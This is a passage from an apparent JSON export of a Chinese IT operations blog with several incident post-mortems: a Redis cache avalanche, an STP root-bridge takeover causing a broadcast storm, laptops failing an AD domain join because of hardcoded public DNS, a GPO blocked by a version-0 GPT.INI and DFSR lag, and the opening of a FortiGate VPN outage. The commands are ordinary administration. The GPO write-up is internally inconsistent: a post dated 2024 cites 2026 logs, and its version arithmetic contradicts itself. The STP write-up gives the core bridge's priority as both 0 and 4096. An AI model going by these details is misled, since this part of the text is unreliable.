挂了或者连接池耗尽。\n第二步，登录 Redis 节点验证。连接正常，但发现一个反常现象：\n1 2 3 4 5 6 $ redis-cli info stats | grep -E \u0026#34;instantaneous_ops_per_sec|evicted_keys|keyspace_hits|keyspace_misses\u0026#34; instantaneous_ops_per_sec:1850 evicted_keys:0 keyspace_hits:201 keyspace_misses:1640 expired_keys:98231 keyspace_misses 远大于 keyspace_hits，说明大量 key 查不到，请求全部穿透到 MySQL。再看 expired_keys，在故障窗口内一秒过期近 10 万个 key——典型的集中过期。\n第三步，确认过期时间分布。抽样几个秒杀 key：\n1 2 3 4 5 6 7 8 $ redis-cli TTL stock:sku_1001 (integer) -2 $ redis-cli TTL stock:sku_1002 (integer) -2 $ redis-cli --scan --pattern stock:* | head -5 stock:sku_1021 $ redis-cli TTL stock:sku_1021 (integer) 7 绝大多数热点 key 都已失效或即将在几秒内失效，印证了\u0026quot;批量导入时统一 TTL\u0026quot;导致的集中过期。这就是缓存雪崩：同一时刻大量 key 失效，所有请求同时回源数据库。\n第四步，确认数据库承压。SHOW PROCESSLIST 里堆满了 SELECT stock FROM seckill_stock WHERE sku=?，几乎都是 Sending data 状态。MySQL 本身能力不足以承接 3 万 QPS 的纯读，连接池被瞬间占满，进而拖垮整个订单链路。\n四、解决方案\r应急止血（先恢复，再根治）：\n临时对秒杀接口做请求合并 + 本地缓存降级。在应用层对库存查询加一层 Caffeine 本地缓存（TTL 2s），即使 Redis 没值，也先返回上一次的非空结果，避免所有线程同时打库。\n给热点读加互斥锁（singleflight），同一 sku 的回源只允许一个线程查库并写回 Redis，其余线程等待结果：\n1 2 3 4 5 6 7 8 9 // 伪代码：singleflight 回源 String val = redis.get(key); if (val == null) { val = singleflight.exec(key, () -\u0026gt; { String dbVal = db.queryStock(sku); redis.setex(key, baseTtl + random(0,300), dbVal); // 加随机抖动 return dbVal; }); } 紧急扩容 MySQL 只读从库，将库存读流量导向从库，主库只承接下单写。\n网关侧对 /api/seckill 开启令牌桶限流（20000 QPS），超出直接快速失败返回\u0026quot;活动太火爆\u0026quot;，保护后端不被彻底压垮。\n5 分钟后 P99 回落到 600ms，10 分钟后恢复到 120ms，订单成功率回到 92%。\n五、根因分析\r根因是缓存 key 集中过期引发的缓存雪崩，叠加了两个设计缺陷：\nTTL 高度一致：运营批量导入时统一设 30 分钟 TTL，导致活动开场瞬间海量 key 同时失效，请求在极短时间内全部击穿到数据库。 缺乏防穿透/防雪崩机制：缓存未命中时没有任何合并、降级或随机抖动策略，数据库在没有任何缓冲的情况下直面 3 万 QPS 的回源洪峰。 Redis 没宕机但 CPU 打满，是因为雪崩期间大量 key 同时过期触发主动/被动淘汰扫描，加上连接风暴，使单节点处理效率骤降；而真正的瓶颈在下游 MySQL——它本就不是为承载全部读流量设计的。\n六、预防措施\rTTL 加随机抖动：导入缓存时 TTL = 基础值 + 随机(0, 300s)，打散过期时间，避免集体失效。 1 2 int ttl = 1800 + ThreadLocalRandom.current().nextInt(0, 300); redis.setex(key, ttl, value); 热点 key 永不过期 + 后台异步刷新：对秒杀库存这类极热点数据，设为逻辑不过期，由定时任务在后台主动刷新，彻底规避过期瞬间空窗。\n回源合并：全站接入 singleflight / 分布式锁，保证同一 key 同一时刻只有一个回源。\n多级缓存：Redis + 应用本地缓存（Caffeine）双层，Redis 失效时本地缓存仍能兜底。\n数据库保护：库存读走从库，写主库；并配置合理的连接池上限与熔断（Sentinel/Resilience4j），避免被回源打挂。\n压测与演练：大促前对\u0026quot;缓存全失效\u0026quot;场景做专项混沌演练，验证降级链路可用。\n七、总结\r这次故障本质不是 Redis 性能问题，而是缓存生命周期设计缺陷引发的雪崩。集中 TTL 是很容易被忽视的\u0026quot;定时炸弹\u0026quot;，平时相安无事，一到流量洪峰就炸。排查上，关键抓手是 Redis 的 keyspace_misses / expired_keys 两个指标——它们能一眼定性\u0026quot;请求是否穿透\u0026quot;。记住：缓存层永远要假设自己会失效，回源必须有合并、必须有抖动、必须有降级。把数据库当成最后一道防线，而不是第一道承受洪峰的堤坝。\n","date":"2025-03-11T22:43:30Z","permalink":"/posts/60f0dc58/","title":"秒杀接口大面积超时：Redis 缓存雪崩的定位与修复"},{"content":"一、问题背景\r公司园区网采用典型三层架构：核心层一台华为 S7706（以下简称 CORE）作为 STP 根桥，汇聚层两台 S5730，接入层大量 S5731 接入交换机，全网联一、二层均启用 MSTP（多生成树）。根桥 CORE 上通过 stp root primary 设定为最优根，优先级 0（实际显示为 0/4096，按实例计），确保生成树拓扑稳定。\n节后复工第一天，行政楼 3 层新扩了 12 个工位，施工方临时搬来一台华为 S1730S 傻瓜型可网管交换机（以下简称 NEW）用于补点。该交换机按惯例应作为接入层叶子节点挂到现有接入交换机下，不配置 STP 优先级（用默认 32768），乖乖当阻塞端口的下游即可。中午 13 点左右，行政楼整层及相邻的 2、4 层陆续出现网络卡顿、视频会议花屏、部分工位甚至拿不到 IP。\n二、故障现象\r现场观察与监控告警汇总如下：\n行政楼 2/3/4 层用户大面积反馈“网页打开慢、钉钉转圈、共享文件夹访问超时”，但核心业务系统（位于数据中心）偶发可达，整体是“时通时断”的严重劣化，而非完全断网。 登上汇聚交换机 display interface brief，发现多个上联口入方向带宽长期 90%+，且 Broadcast 计数每秒几万包疯涨： 1 2 3 Interface PHY Protocol InUti OutUti Broadcast(pps) GE0/0/24 up up 98% 95% 42000 GE0/0/23 up up 97% 92% 39000 接入交换机面板端口指示灯呈“集体疯狂闪烁”状态，典型广播风暴特征。 网管平台 Zabbix 触发 High Broadcast Ratio 与 STP Topology Change 告警，且 Topology Change Count 在几分钟内从 0 涨到 600+，说明生成树在频繁震荡重算。 三、排查过程\r广播风暴 + 拓扑频繁变更，基本锁定在二层环路或 STP 异常，按“先抑制、再定位”的思路推进。\n先登录核心 CORE，查看当前根桥是否还是自己： 1 display stp 1 2 3 4 5 -------[CIST Global Info][Mode MSTP]------- Protocol Status : Enabled Bridge Priority : 0 Root Bridge ID : 4c1f-ccxx-xxxx Root Cost : 0 Root Bridge ID 的 MAC 不是 CORE 自己的桥 MAC，而是 4c1f-cc...，说明根桥被别人抢走了！本应是自己（Cost 0、自己就是根），现在 Root Cost 仍是 0 只是因为命令行显示的是“到根的开销”，需要进一步比对。\n精确查看根桥身份： 1 display stp root 1 2 Root Bridge ID : 4c1f-cc12-3456 Root Bridge Cost : 0 4c1f-cc12-3456 经 MAC 前缀查询是华为 S1700 系列，正是那台新搬来的 NEW 交换机！它成了根桥。\n查看 NEW 的 STP 优先级： 1 display stp | include Bridge Priority 在 NEW 上回显 Bridge Priority : 0（被施工方误设为 stp priority 0 或 stp root primary 想“保证稳定”），优先级高于 CORE，于是 STP 重新选举，NEW 抢占根桥。\n根桥漂移后，原稳定拓扑被推翻， NEW 与周边交换机之间形成次优路径且出现临时环路窗口，广播帧在环路中无限泛洪，形成广播风暴。再查拓扑变更： 1 display stp topology-change 1 2 Topology Change Count : 612 Last Topo Change Time : 2025-02-03 13:02:11 与告警时间吻合，确认 NEW 接入是触发点。\n四、解决方案\r目标是让 CORE 恢复根桥、消除环路、压制风暴。\n应急抑制：在汇聚/核心上临时对上联接入口开启广播抑制，先止血，避免风暴蔓延： 1 2 interface GigabitEthernet0/0/24 storm-control broadcast min-rate 1000 max-rate 5000 纠正根桥：将 NEW 的 STP 优先级改回默认，并取消其抢占设置： 1 2 3 system-view stp priority 32768 undo stp root 强制 CORE 重新稳坐根桥（双保险）： 1 2 system-view stp root primary 等待 STP 重新收敛后，再次 display stp root，根桥 MAC 变回 CORE，Topology Change Count 停止增长，端口 Broadcast pps 回落到个位数，用户网络在 3 分钟内恢复。\n事后复盘：NEW 作为临时补点本应只做接入，施工方却顺手配了根桥优先级。已要求所有接入层设备出厂/入场前统一刷标准配置模板，禁止任何非核心设备设置 stp root 或优先级低于 8192。\n五、根因分析\r根因是 NEW 交换机被错误配置了 STP 优先级 0（等价于 stp root primary），使其桥优先级高于原根桥 CORE。MSTP 选举根桥时比较“桥优先级 + MAC”，优先级数值越小越优，0 优于 CORE 的 4096（显示值），于是 NEW 被选举为新的根桥。\n根桥变更触发全网生成树重算：大量端口角色/状态翻转（根端口、指定端口、阻塞端口重新分配），在收敛的过渡窗口内，本应阻塞的冗余链路短暂进入转发态，与既有物理连线构成二层环路。广播帧、未知单播帧在环路中反复泛洪且无法 TTL 终结，迅速演变为广播风暴，表现为端口灯狂闪、Broadcast pps 爆表、终端卡顿断网。拓扑每次震荡又产生新的 TC（Topology Change）报文，进一步加剧不稳定，形成“变更—环路—风暴—再变更”的恶性循环，直到根桥归位、环路消除才停止。\n六、预防措施\r根桥保护（Root Protection）：在所有的接入交换机上联口配置 stp root-protection，一旦收到更优 BPDU 直接将该口置为 root-inconsistent（丢弃）状态，从协议层面杜绝下级设备抢占根桥。 1 2 interface GigabitEthernet0/0/1 stp root-protection BPDU 保护（BPDU Protection）：在连接终端/临时设备的边缘端口开启 stp edged-port enable 并全局 stp bpdu-protection，收到 BPDU 立即 shutdown 边缘口，防止私接设备扰乱生成树。 标准配置模板 + 入场审计：所有交换机（含临时补点）入场前必须刷公司标准模板，模板中明确禁止设置 stp root 与低优先级，并由网络组验收后方可上线。 环路防护与 TC 防护：开启 loop-protection 与 tc-protection，限制单位时间 TC 报文处理速率，避免频繁重算拖垮 CPU。 监控加固：在 Zabbix 对 Topology Change Count、Broadcast pps、端口利用率设阈值告警，争取在风暴成形前发现。 七、总结\r这起广播风暴的根因不在“环路本身”，而在“根桥被抢”——一台被误配优先级的临时交换机颠覆了整网生成树，收敛窗口里出现的瞬时环路才是风暴的直接推手。排查关键在于第一时间 display stp root 比对根桥 MAC，发现身份异常便知有人抢桥。最该记住的教训是：STP 不能只靠“约定”，必须用 root-protection、bpdu-protection 等协议机制把根桥和边缘口钉死，再配合标准模板与入场审计，才能避免“好心配置”变成全网故障。\n","date":"2025-02-03T13:26:40Z","permalink":"/posts/8256a5f2/","title":"核心交换机 STP 根桥被抢，广播风暴怎么来的？"},{"content":"一、问题背景\r元旦后公司新采购了 30 台联想 ThinkPad T14 Gen4 笔记本，预装 Windows 11 专业版 23H2，用于研发部门新员工入职。资产入库后，桌面运维组按惯例在备货区统一加域（将计算机加入公司 AD 域 corp.example.com），以便后续通过 GPO 下发安全基线、软件分发和漫游配置。\n公司 AD 环境概况：单林单域 corp.example.com，两台域控制器 DC01（10.10.0.11）、DC02（10.10.0.12），均承担 DNS 角色；终端通过 DHCP 获取地址，正常情况下 DNS 应指向 10.10.0.11 和 10.10.0.12。加域操作在运维网段（VLAN 20，10.10.20.0/24）进行，与域控所在服务器网段（VLAN 10）三层互通。\n备货区交换机属于办公网，物理上能访问服务器网段。历史上一律是开箱即加域，从未出过问题。本次是年度最大批量采购，时间紧，所以直接流水线作业。\n二、故障现象\r对第一台笔记本执行加域时，在“系统属性 - 计算机名”中点击“更改”，输入域名 corp.example.com 并填写有权限加域的域账号后，弹出报错：\n1 2 3 4 5 找不到域控制器。 查询域“corp.example.com”的域控制器时出错。 找不到网络路径。 反复重试 3 次均相同。偶尔在输入域名瞬间出现另一种提示：\n1 指定的域不存在，或无法联系。 但同一台笔记本可以正常上网、访问内网 OA 系统与共享文件夹（说明基础网络是通的），只是加域这一步始终失败。用同一镜像的其余 5 台样机测试，全部复现，说明不是单机个案，而是这批出厂系统的共性问题。\n三、排查过程\r加域的本质是：客户端先通过 DNS 查询 _ldap._tcp.dc._msdcs.corp.example.com 的 SRV 记录定位域控，再建立 LDAP/SMB 会话。报错“找不到域控制器”通常就是 DNS 解析或网络连通性问题，于是从 DNS 入手。\n查看本机 IP 配置： 1 ipconfig /all 关键输出：\n1 2 3 4 5 6 IPv4 地址 . . . . . . . . . . . . : 10.10.20.105(首选) 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关 . . . . . . . . . . . . : 10.10.20.1 DHCP 已启用 . . . . . . . . . . . : 是 DNS 服务器 . . . . . . . . . . . : 8.8.8.8 202.96.128.86 发现问题：DNS 指向的是公网 DNS（Google 8.8.8.8 与当地运营商 DNS），而不是内网域控。这说明出厂系统里 DHCP 客户端虽然拿到了内网地址，但 DNS 被某种方式覆盖成了公网值。进一步确认是出厂镜像在“网络连接 - IPv4 属性”里手动勾选了“使用下面的 DNS 服务器地址”，把公网 DNS 写死。\n验证域控 SRV 记录是否可解析： 1 nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.example.com 返回 *** 找不到 _ldap._tcp.dc._msdcs.corp.example.com: 不存在的域，且服务器显示为 8.8.8.8 的公网应答，证明公网 DNS 当然解析不出内网域控记录。\n测域控连通性（先把 DNS 临时指向域控再测）： 1 ping 10.10.0.11 1 来自 10.10.0.11 的回复: 字节=32 时间=1ms TTL=128 说明网络层到域控是通的，问题纯粹在 DNS 解析。\n用 nltest 进一步确认域定位能力： 1 nltest /dsgetdc:corp.example.com 返回 ERROR_NO_SUCH_DOMAIN，与 nslookup 结论一致。\n四、解决方案\r根因明确：DNS 指向公网，无法解析域控 SRV 记录。临时与永久处理分两步：\n临时加域（先让这台能进域）：手动把 DNS 改为域控，然后加域。 1 2 netsh interface ip set dns name=\u0026#34;以太网\u0026#34; static 10.10.0.11 netsh interface ip add dns name=\u0026#34;以太网\u0026#34; 10.10.0.12 index=2 随后在“计算机名”中重新加域成功，重启后 echo %logonserver% 显示 \\\\DC01，确认已在域内。\n永久修复（针对整批机器）：由于出厂镜像里把 DNS 写死，单靠 DHCP 下发的 DNS 会被覆盖。两种做法： 方案 A：在出厂首次开机前，用 PE 或脚本统一清除网卡写死的 DNS，改回“自动获取”，让 DHCP 下发的域控 DNS 生效。 方案 B：直接调整备货区 DHCP 作用域，并在接入交换机上做 DHCP Snooping + Option 6 强制下发 10.10.0.11,10.10.0.12，即便客户端写死也被覆盖（需网关支持）。 最终采用方案 A 批量脚本化处理，30 台在 1 小时内全部加域成功，并手动触发 gpupdate /force 验证 GPO 正常应用。\n五、根因分析\r根本原因是 OEM 出厂镜像为了“开箱即能上网”的体验，在网卡 IPv4 属性中写死了公网 DNS（8.8.8.8）。当机器接入公司内网通过 DHCP 获取 IP 时，Windows 并不会用 DHCP 的 DNS 去覆盖“手动指定”的 DNS，于是 DNS 仍为公网值。\n加域依赖 DNS 定位域控：客户端查询 _ldap._tcp.dc._msdcs.\u0026lt;域名\u0026gt; SRV 记录，公网 DNS 上不存在公司内网域的记录，所以返回“找不到域控制器 / 找不到网络路径”。注意这里不是域控不可达，而是定位阶段就失败了——因此即使能上公网、能开 OA，加域依然失败。\n此外，研发 VLAN 与服务器网段虽三层互通，但从严谨角度还应确认域控防火墙放行了加域所需的 RPC 动态端口与 TCP 88/389/445 等，本次这些均正常，排除在外。\n六、预防措施\r标准化镜像：重新制作公司标准 WIM 镜像，出厂前清掉所有写死的公网 DNS，统一设为“自动获取”，并将该镜像写入采购验收 SOP，要求供应商出厂即灌装标准镜像。 加域前检查脚本：在 MDT/Intune 或 PE 阶段自动执行 DNS 校验，发现 DNS 非内网地址直接阻断加域并告警。 1 2 $dns = (Get-DnsClientServerAddress -AddressFamily IPv4).ServerAddresses if ($dns -notmatch \u0026#39;^10\\.10\\.\u0026#39;) { Write-Warning \u0026#34;DNS 异常: $dns\u0026#34; } OU 预建计算机账号：采购计划中提前在 AD 对应 OU 预建计算机对象并重置密码，避免加域时权限/名称冲突引发的二次报错。 验收清单化：把“DNS 指向域控、能 nslookup 出 SRV 记录”列为新机入库必检项，从源头消灭该类问题。 七、总结\r这次故障看似诡异——能上网、能开 OA 却加不了域，本质就是最基础的 DNS 问题。OEM 为出厂体验写死公网 DNS 的小动作，在内网加域场景下直接变成拦路虎。排查上只要牢牢记住“加域先查 DNS、先 nslookup 域控 SRV 记录”这条铁律，5 分钟就能定位。真正的教训在流程：新机验收必须包含 DNS 与域解析校验，把标准镜像和预检脚本固化进采购 SOP，才能避免下一次批量踩坑。\n","date":"2025-01-13T12:54:18Z","permalink":"/posts/8d80996a/","title":"新购笔记本为何加不进 AD 域？出厂系统排障记"},{"content":"问题背景\r周一早上九点，安全团队例行检查终端合规率时发现一个严重问题：上周五紧急发布的一条AD域控GPO策略——禁用USB大容量存储设备访问——在全公司约420台终端上竟然无一生效。这条策略是应审计要求必须在本周内落地的安全基线，安全团队已经在合规报告上标注了\u0026quot;已完成部署\u0026quot;，但实际情况却是任何员工插上U盘依然能正常读写。\n问题的影响范围覆盖了总部办公区所有域内计算机，紧急程度很高——审计组周三要来复查，如果终端仍然不合规，整年度的ISO 27001认证可能受到影响。作为桌面运维负责人，我立刻被拉进应急排查群。\n故障现象\r终端侧表现\r在多台终端上执行 gpresult /h gpreport.html 生成策略应用报告，发现：\n该GPO在\u0026quot;已应用策略\u0026quot;列表中完全不出现——既不在计算机配置中，也不在用户配置中 在\u0026quot;被过滤的策略（未应用原因）\u0026ldquo;列表中也找不到该GPO的任何记录 gpupdate /force 执行后返回\u0026quot;策略已成功更新\u0026rdquo;，但再次查看报告，该策略依然不在 关键信息摘录：\n1 2 3 4 5 6 7 8 C:\\\u0026gt; gpupdate /force 正在更新策略... 计算机策略更新已完成。 用户策略更新已完成。 C:\\\u0026gt; gpresult /v | findstr \u0026#34;USB\u0026#34; （无任何输出） 域控侧表现\r在GPMC（Group Policy Management Console）中检查：\n该GPO 已链接到正确的OU（OU=总部办公终端,DC=corp,DC=local），链接状态为\u0026quot;已启用\u0026quot; GPO的状态显示为**\u0026ldquo;已启用\u0026rdquo;** 安全筛选中仅包含 Authenticated Users，没有额外的WMI筛选器 但在\u0026quot;策略应用结果\u0026quot;模拟（Group Policy Results）中，针对任意一台该OU下的计算机模拟，该GPO均显示\u0026quot;未应用\u0026quot; 更关键的发现：在GPMC中查看该GPO的版本号，计算机配置版本号为 0，用户配置版本号也是 0——这意味着该GPO虽然被创建了，但其策略设置实际上从未被正确写入。\n排查过程\r排查从终端侧和域控侧同时展开，按照以下思路逐步推进：\n第一层：确认GPO链接与作用域\r首先确认GPO是否正确链接到目标OU，以及安全筛选是否合理。\n打开GPMC，展开 corp.local → 总部办公终端 OU，确认该GPO确实在链接列表中，且链接顺序为第3位（在两条现有GPO之后），链接启用状态为\u0026quot;是\u0026quot; 检查安全筛选：仅包含 Authenticated Users，这是标准配置，没有问题 检查是否有WMI筛选器绑定——确认无WMI筛选器 这一步没有发现配置层面的明显错误，但注意到链接顺序在两条旧策略之后，需要进一步确认是否有策略冲突。\n第二层：检查策略冲突与优先级\r担心新GPO被更高优先级的策略覆盖：\n排在前面两条GPO分别是\u0026quot;桌面基础配置\u0026quot;和\u0026quot;终端监控代理部署\u0026quot;，检查了它们的计算机配置策略设置，没有任何涉及USB存储设备访问控制的条目——不存在策略冲突 检查\u0026quot;阻止继承\u0026quot;（Block Inheritance）——该OU未启用阻止继承 检查\u0026quot;强制\u0026quot;（Enforced）——新GPO未标记为强制，但这不影响其正常应用，只是不保证优先级最高 策略冲突不是根因，继续深入。\n第三层：发现GPO版本号异常——策略内容未写入\r这是排查的关键转折点。在GPMC中右键该GPO选择\u0026quot;编辑\u0026quot;，打开Group Policy Editor：\n计算机配置下 Administrative Templates → System → Removable Storage Access 中所有USB相关策略确实被设置为\u0026quot;已启用/已禁用\u0026quot;——策略设置内容在编辑器中是可见的 但回到GPMC主界面，该GPO的版本号显示为 0/0（计算机配置版本/用户配置版本），而不是预期的 1/1 或更高 正常情况下，一旦在GPO编辑器中修改了设置并保存，GPO的版本号应该自动递增。版本号为0意味着GPO的 GPT.INI 文件中的版本信息没有更新。\n手动检查SYSVOL共享中的GPT.INI：\n1 \\\\corp.local\\SYSVOL\\corp.local\\Policies\\{GPO-GUID}\\GPT.INI 内容如下：\n1 2 [General] Version=0 而正常已应用的其他GPO的GPT.INI内容为：\n1 2 3 [General] Version=65537 DisplayName=桌面基础配置 关键发现：GPT.INI中Version=0，这意味着客户端在拉取GPO时会认为该策略没有任何变更，跳过应用。\n第四层：排查GPT.INI版本号未更新的原因\rGPO编辑器中修改了设置，为什么GPT.INI版本号仍然是0？可能的原因有：\nGPO编辑过程中连接了不同的域控——如果编辑时连接的是DC01，而GPT.INI只更新在DC01的SYSVOL上，由于DFS复制延迟，DC02上的GPT.INI可能尚未同步 SYSVOL的DFS复制故障——导致DC01上的更新未能传播到其他DC 先检查域控拓扑：\n1 2 3 4 5 C:\\\u0026gt; repadmin /showrepl corp-dc01 ... 最近入站复制: 成功 C:\\\u0026gt; repadmin /showrepl corp-dc02 ... 最近入站复制: DC01 → DC02, 成功, 时间 2026-06-20 14:32 AD复制看起来正常，但SYSVOL使用的是DFS复制（DFSR），与AD复制是独立的两套机制。检查DFS复制状态：\n1 2 3 4 5 C:\\\u0026gt; dfsradmin health new /rgname:\u0026#34;Domain System Volume\u0026#34; /rdname:\u0026#34;SYSVOL Share\u0026#34; Domain System Volume - SYSVOL Share 复制组状态: 正常 DC01: 运行中, 最后同步 2026-06-20 14:30 DC02: 运行中, 最后同步 2026-06-19 23:15 ← 异常！ 发现：DC02的SYSVOL DFSR最后一次同步时间是6月19日23:15，已经超过12小时未同步！\n进一步检查DC02的DFSR事件日志：\n1 2 3 4 5 6 事件ID: 5014 描述: DFS Replication服务已成功建立与DC01的连接 事件ID: 5008 描述: DFS Replication服务检测到与DC01的连接上出现错误 错误: 1722 (RPC服务器不可用) 第五层：确认DC02的DFSR服务状态\r1 2 3 4 5 C:\\\u0026gt; sc query dfsr STATE: 4 RUNNING C:\\\u0026gt; netstat -an | findstr \u0026#34;135\u0026#34; TCP 0.0.0.0:135 LISTENING DFSR服务在运行，RPC端口也在监听。但回溯周五晚间的运维日志，发现周五20:00-22:00执行过DC02的补丁更新，期间服务器重启了一次。重启后DFSR服务虽然自动启动，但RPC连接建立存在延迟，且恰好周五晚间网络维护也关闭了部分防火墙端口，导致DC02与DC01之间的DFSR复制通道未能及时重建。\n最终在DC02上手动触发DFS复制：\n1 2 3 C:\\\u0026gt; dfsrdiag pollad /member:corp-dc02 强制DFS Replication服务立即与AD进行同步... 操作成功完成。 复制完成后，DC02上的GPT.INI被正确同步：\n1 2 3 [General] Version=65537 DisplayName=禁用USB大容量存储设备访问 第六层：修复GPO版本号并验证\r虽然DFS复制已恢复，但DC01上的GPT.INI版本号仍然是0——这说明问题不仅仅是复制延迟，原始DC01上的GPT.INI在GPO创建时就未被正确更新。\n通过GPO编辑器对该GPO做一次微小的修改（添加一条注释级别的无影响设置），然后保存，触发版本号递增：\n1 2 [General] Version=196608 版本号从0变为196608（计算机配置版本2，用户配置版本1，编码为 Version = ComputerVersion * 65536 + UserVersion = 2*65536+1 = 131073\u0026hellip; 实际Hex编码方式不同，但关键是Version不再是0）。\n等待DFS复制将更新后的GPT.INI同步到DC02，然后在多台终端上执行：\n1 2 3 4 5 C:\\\u0026gt; gpupdate /force 正在更新策略... 计算机策略更新已完成。 C:\\\u0026gt; gpresult /h report.html 打开报告，确认GPO\u0026quot;禁用USB大容量存储设备访问\u0026quot;出现在已应用的计算机策略列表中，且USB存储设备访问控制的具体设置条目全部生效。\n在物理终端上测试：插入U盘，系统提示\u0026quot;访问被策略阻止\u0026quot;，无法读写——策略已正确生效。\n解决方案\r最终解决涉及两个层面的修复：\n1. 修复SYSVOL DFS复制延迟\r确保DC01与DC02之间的DFS复制正常运行：\n1 2 3 4 5 6 7 8 9 10 # 在DC02上强制触发DFS复制同步 dfsrdiag pollad /member:corp-dc02 # 检查DFS复制健康状态 dfsradmin health new /rgname:\u0026#34;Domain System Volume\u0026#34; /rdname:\u0026#34;SYSVOL Share\u0026#34; # 确认SYSVOL共享内容一致 # 比较两台DC上的GPT.INI版本号 dir \\\\corp-dc01\\SYSVOL\\corp.local\\Policies\\{GUID}\\GPT.INI dir \\\\corp-dc02\\SYSVOL\\corp.local\\Policies\\{GUID}\\GPT.INI 2. 修复GPO版本号\r对版本号为0的GPO做一次有效修改并保存，触发版本号自动递增：\n通过GPMC编辑器打开该GPO 在计算机配置中任意添加一个无害设置（如设置一条已注释的策略），保存退出 GPT.INI中的Version字段自动更新为非0值 等待DFS复制同步到所有DC 3. 在所有终端上强制刷新策略\r1 2 3 4 5 # 单台终端 gpupdate /force # 批量刷新（通过PsExec或SCCM推送到所有OU下计算机） psexec @computer_list.txt cmd /c \u0026#34;gpupdate /force\u0026#34; 根因分析\r问题的根本原因是双重故障叠加：\nGPO创建时版本号未正确写入（GPT.INI Version=0）：这是最核心的根因。当通过GPMC创建新GPO并编辑设置时，GPO的AD对象（在 CN=Policies,CN=System,DC=corp,DC=local 中）和SYSVOL文件（GPT.INI）应该同步更新版本号。但由于创建该GPO的管理员当时连接的GPMC优先选择了DC02作为编辑目标DC（GPMC会优先连接当前站点最近的DC），而DC02当时正在经历补丁更新后的重启过渡期，导致GPO的SYSVOL部分写入不完整——GPT.INI的Version字段未被更新为预期的初始值。\nSYSVOL DFS复制延迟：DC02在补丁重启后DFSR复制通道重建延迟（约12小时），导致即使DC01上如果有正确的GPT.INI也无法及时同步到DC02。而实际情况是DC02本身就是策略编辑的目标DC，文件只存在于DC02的SYSVOL上且版本号错误，复制到DC01后DC01也获得了错误的Version=0。\n客户端处理逻辑是：拉取GPO时检查GPT.INI中的Version号，如果Version与上次已应用的版本相同（或为0，等同于\u0026quot;无变更\u0026quot;），则跳过该GPO的应用。这就是所有420台终端均未生效的根本原因。\n预防措施\r1. GPO操作规范\r编辑GPO前确认目标DC状态：在GPMC中通过\u0026quot;更改域控\u0026quot;明确指定一台健康的DC作为编辑目标，避免自动选择正在维护中的DC 创建GPO后立即验证版本号：在GPMC中检查新GPO的版本号是否为非0值，如果版本号异常应立即通过编辑器做一次修改触发版本递增 GPO修改完成后检查SYSVOL一致性：比较所有DC上该GPO的GPT.INI内容，确保版本号和策略内容一致 1 2 3 4 5 6 7 # 检查所有DC上GPO版本号一致性 $gpoGuid = \u0026#34;{GPO-GUID}\u0026#34; $dcList = Get-ADDomainController -Filter * | Select-Object -ExpandProperty HostName foreach ($dc in $dcList) { $gptIni = Get-Content \u0026#34;\\\\$dc\\SYSVOL\\corp.local\\Policies\\$gpoGuid\\GPT.INI\u0026#34; Write-Host \u0026#34;$dc: Version = $($gptIni | Select-String \u0026#39;Version=\u0026#39; | ForEach-Object { $_.Line.Split(\u0026#39;=\u0026#39;)[1] })\u0026#34; } 2. DFS复制监控\r建立DFS复制健康状态的定期监控，使用事件ID 5014（成功同步）和5008/5002（同步失败）作为告警指标 服务器补丁更新重启后，在运维流程中增加一步DFSR复制状态确认，确保SYSVOL复制恢复后再进行GPO操作 设置DFSR复制告警阈值：如果某台DC超过4小时未完成SYSVOL同步，自动触发告警通知运维团队 1 2 3 # 定期检查DFSR复制状态（可加入监控脚本） $dfsrStatus = dfsradmin health new /rgname:\u0026#34;Domain System Volume\u0026#34; /rdname:\u0026#34;SYSVOL Share\u0026#34; # 解析输出，判断各DC最后同步时间是否在阈值内 3. GPO部署验证流程\rGPO发布后，在至少3台不同网段的终端上执行 gpresult /v 确认策略已生效 对安全基线类GPO，增加物理验证环节——实际测试策略约束效果（如插入U盘验证禁用效果） 在GPMC中使用\u0026quot;组策略结果\u0026quot;模拟功能，在策略发布后对目标OU中的样本计算机进行模拟，确认GPO出现在\u0026quot;已应用\u0026quot;列表 4. 补丁维护窗口规范\rDC补丁更新应安排在业务低峰期，且一次只维护一台DC，确保至少一台DC的SYSVOL始终可用且同步正常 维护完成后必须验证DFSR复制恢复，并在运维检查清单中记录确认结果 如果DC需要长时间停机维护，应先在GPMC中将\u0026quot;域控操作主机\u0026quot;角色确认转移，避免GPO编辑指向不可用的DC 总结\r这次排查给我最大的教训是：GPO的\u0026quot;已创建+已链接\u0026quot;≠\u0026ldquo;已生效\u0026rdquo;。在GPMC中看到一个GPO链接到了目标OU并且状态为启用，只是第一步，真正的生效依赖于三个条件同时满足：\nGPO的策略内容被正确写入SYSVOL（GPT.INI版本号≠0） SYSVOL内容在所有DC间通过DFS复制保持一致 客户端能够成功拉取并应用GPO内容 排查时我最初只关注了GPMC界面上的链接和筛选配置，浪费了近一个小时在策略冲突和优先级方向上。直到检查版本号才发现真正的入口。这也提醒我，排查AD域控相关问题时，一定要从底层文件（GPT.INI、SYSVOL共享）和复制机制入手，不要只依赖GPMC的图形界面——界面显示的是AD对象的元数据，而客户端实际读取的是SYSVOL文件，两者之间可能因复制延迟而不同步。\n另外一个实操经验：DC补丁维护后必须确认DFSR复制恢复。DFS复制不像AD复制那样有显式的复制失败告警，DFSR可能\u0026quot;静默失效\u0026quot;——服务在运行、端口在监听，但实际复制通道没有重建成功。只有通过 dfsradmin health 或事件日志才能发现问题。以后每次DC维护重启，运维检查清单上必须加上DFSR复制状态确认这一步。\n","date":"2024-12-10T12:43:15Z","permalink":"/posts/3c75e975/","title":"域控 GPO 推送失败，终端安全基线为何不生效？"},{"content":"问题背景\r公司采用 Hub-Spoke 组网架构，总部部署一台 FortiGate 200F 作为 VPN 中心节点，5 个分支机构各部署一台 FortiGate 60F，通过 IPSec Site-to-Site VPN 隧道互联。分支访问总部内网的流量以及分支间互访流量都经过总部中转。隧道使用 IKEv2 + 预共享密钥认证，运行稳定超过 2 年。\n故障现象\r12 月 6 日上午 9:00，网络安全工程师按计划实施了一次防火墙策略优化——在总部的 FortiGate 200F 上新增了一条允许内网网段出站访问互联网的策略。变更完成后约 5 分钟，运维监控告警：所有 5 个分支机构的 IPSec 隧道全部 Down。\n1 2 3 4 5 6 FG200F # get vpn ipsec tunnel summary Branch-SH-DC : down Branch-BJ-DC : down Branch-GZ-DC : down Branch-CD-DC : down Branch-SZ-DC : down 总部内网终端无法 ping 通任何分支机构的服务器，分支机构的同事也无法访问总部的 ERP 和 OA 